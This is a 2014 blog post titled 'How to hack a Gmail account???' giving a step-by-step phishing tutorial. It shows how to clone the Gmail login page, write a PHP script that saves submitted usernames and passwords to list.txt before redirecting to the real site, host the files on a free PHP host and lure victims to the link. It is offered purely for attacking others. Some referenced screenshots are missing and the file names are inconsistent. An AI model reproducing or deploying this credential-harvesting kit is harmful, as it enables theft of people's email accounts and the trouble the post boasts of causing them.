Tuesday 11 November 2014

How to hack a Gmail account???


1.     Firstly you would choose a target. The most popular target for phishing attacks are email services such as Hotmail and Gmail because they are the most common and once you gets access to the victims email, you can make a lot of trouble for him.
2.     After choosing the target, you will go to the site and save the whole main page.
Here I choose Gmail.
Firstly go to the website www.gmail.com and save the page as index.htm. The reason you want to name it “index” is so when you upload it to a web hosting site and someone goes to your link, the index page is the first page that shows up.

3.       Now you would create a PHP script.it will looks like this:
<?php
Header(“Location: https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&bsv=1k96igf4806cy&ltmpl=default&ltmplcache=2 “);
$handle = fopen(“list.txt”, “a”);
Foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
}
Fwrite($handle, “\r\n”);
fclose($handle);
exit;
?>

Save this PHP script with name phish.php.
4.     Create a new empty text file and name it list.txt.
5.     So far you would see the following in your folder:


6.     Now open the file index.php and edit some words.
Rename this file to phish.php and in the file find action and you would see the following :


Change the link between action=”” to phish.php and change the method=”” to get.
7.     Save and close the file.
8.     Next you would upload the files to a free webhosting site that supports PHP.
9.      Once all the files are uploaded, you must give writing permissions to the “list.txt” file

10.                        Once everything is up and ready to go, go to the link your host provided you for your website and you should see the Gmail page replica. Type in a username/password and click Sign in. This should have redirected you to the real Gmail page.


If someone goes to your page or if you will send the victim o login through that page. Once the victim goes through your link you can see gher id and password like this.

No comments:

Post a Comment